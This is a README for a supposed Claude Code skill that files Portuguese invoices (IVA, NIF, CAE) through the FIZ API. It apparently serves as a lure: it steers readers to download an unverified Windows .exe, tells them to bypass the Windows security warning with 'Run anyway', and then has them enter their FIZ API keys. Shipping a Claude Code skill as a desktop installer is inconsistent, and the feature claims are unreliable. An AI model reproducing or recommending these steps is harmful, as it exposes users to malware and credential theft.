Overwhelming-ellibertador775

🧾 fiz-invoicing-skill - Create Portuguese invoices with artificial intelligence

This tool helps users create invoices in Portugal. It uses artificial intelligence to handle tax requirements. It interacts with the FIZ invoicing API. It manages IVA, tax exemptions, CAE codes, NIF numbers, and AT communication.

📋 What this tool does

Portuguese tax law requires specific data on every invoice. This tool automates the process. It acts as an agent skill for Claude Code. You provide your invoice details in plain language. The software formats the data for the FIZ API. It ensures your documents comply with the Autoridade Tributária rules.

Key features include:

• Automatic NIF validation.
• Smart categorization using CAE codes.
• Correct calculation of IVA rates.
• Handling of tax exemption reasons.
• Direct connection to the FIZ invoicing system.

💻 System requirements

Before you install the software, confirm your computer meets these requirements:

• Windows 10 or Windows 11.
• An internet connection.
• A current subscription to the FIZ invoicing platform.
• Your FIZ API credentials.

📥 Downloading the software

You must visit the repository page to download the latest version of the installer.

Click here to visit the release page and download the installer

Choose the version labeled for Windows. Most users should select the .exe file. Save the file to your desktop or your downloads folder.

⚙️ Installation steps

Follow these steps to set up the tool on your computer:

1. Locate the file you downloaded.
2. Double-click the file to start the installation.
3. Windows might show a security window. Select “More info” and then “Run anyway” if the system protects you from unknown files.
4. Follow the prompts in the installation window.
5. Click “Finish” when the progress bar reaches the end.
6. Look for the FIZ Invoicing icon on your desktop.

🚀 Setting up the agent

Open the application after installation. The initial setup requires your API keys.

1. Locate your API Key in your FIZ account dashboard.
2. Paste the key into the settings field in the app.
3. Save your configuration.
4. The app will confirm the connection to the FIZ server. A green status light indicates a successful link.

✍️ How to create an invoice

You do not need to fill out complex forms. Describe your invoice to the agent. Type sentences such as “Create an invoice for 500 euros for client with NIF 123456789 for graphic design services.”

1. Open the application.
2. Type your request in the text box.
3. Review the invoice preview.
4. Check the NIF and the amount.
5. Click “Submit” to send the data to the Autoridade Tributária.
6. The app stores a copy of the receipt.

🛡️ Managing tax requirements

The tool handles the Portuguese tax code automatically.

• NIF Verification: The system checks the NIF format before submission.
• IVA Calculation: The agent suggests the correct IVA rate based on your service description.
• CAE Codes: The system maps your work to the correct CAE code to keep your business records accurate.
• Exemption Reasons: If a service qualifies for VAT exemption, the system adds the legal text required by the tax office.

🔧 Troubleshooting common issues

If the tool does not work, check these common items:

• Connection errors: Check your internet. Ensure your firewall allows the app to connect.
• Authentication errors: Check your API key. Copy and paste the key again to prevent typos.
• API limits: If you create many invoices, the FIZ server might pause your access. Wait five minutes and try again.
• NIF errors: Ensure the client NIF contains exactly nine digits.

⚖️ Compliance notes

The software acts as an interface. It does not replace your accounting records. Always keep a digital copy of your sent invoices. Verify the final tax amount before you click submit. You are responsible for the data you send to the Autoridade Tributária.

The software receives regular updates. Check the GitHub project page for new versions. Each update improves the accuracy of the artificial intelligence. High accuracy minimizes errors in your tax reporting.

Use this tool to reduce time spent on manual data entry. Focus on your business while the agent handles the technical invoice filing.